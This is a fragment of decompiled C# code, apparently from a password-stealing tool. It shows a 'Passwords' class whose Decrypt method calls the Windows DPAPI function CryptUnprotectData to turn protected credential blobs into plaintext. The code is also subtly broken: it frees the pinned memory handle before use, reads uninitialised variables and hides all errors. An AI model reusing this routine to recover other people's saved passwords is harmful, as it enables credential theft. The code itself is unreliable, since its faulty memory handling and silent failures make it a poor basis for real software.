// Token: 0x06000085 RID: 133 RVA: 0x000088C4 File Offset: 0x00006AC4
public static string Decrypt(byte[] Datas)
{
string result;
try
{
Passwords.DATA_BLOB data_BLOB = default(Passwords.DATA_BLOB);
Passwords.DATA_BLOB data_BLOB2 = default(Passwords.DATA_BLOB);
GCHandle gchandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
data_BLOB.pbData = gchandle.AddrOfPinnedObject();
data_BLOB.cbData = Datas.Length;
gchandle.Free();
string szDataDescr = null;
Passwords.DATA_BLOB data_BLOB4;
Passwords.DATA_BLOB data_BLOB3 = data_BLOB4;
IntPtr intPtr;
IntPtr pvReserved = intPtr;
Passwords.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT2;
Passwords.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = cryptprotect_PROMPTSTRUCT2;
Passwords.CryptUnprotectData(ref data_BLOB, szDataDescr, ref data_BLOB3, pvReserved, ref cryptprotect_PROMPTSTRUCT, 0, ref data_BLOB2);
byte[] array = new byte[data_BLOB2.cbData + 1];
Marshal.Copy(data_BLOB2.pbData, array, 0, data_BLOB2.cbData);
string @string = Encoding.Default.GetString(array);
result = @string.Substring(0, @string.Length - 1);
}
catch (Exception ex)
{
}
return(result);
}
private static extern bool CryptUnprotectData(ref Passwords.DATA_BLOB pDataIn, string szDataDescr, ref Passwords.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref Passwords.CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref Passwords.DATA_BLOB pDataOut);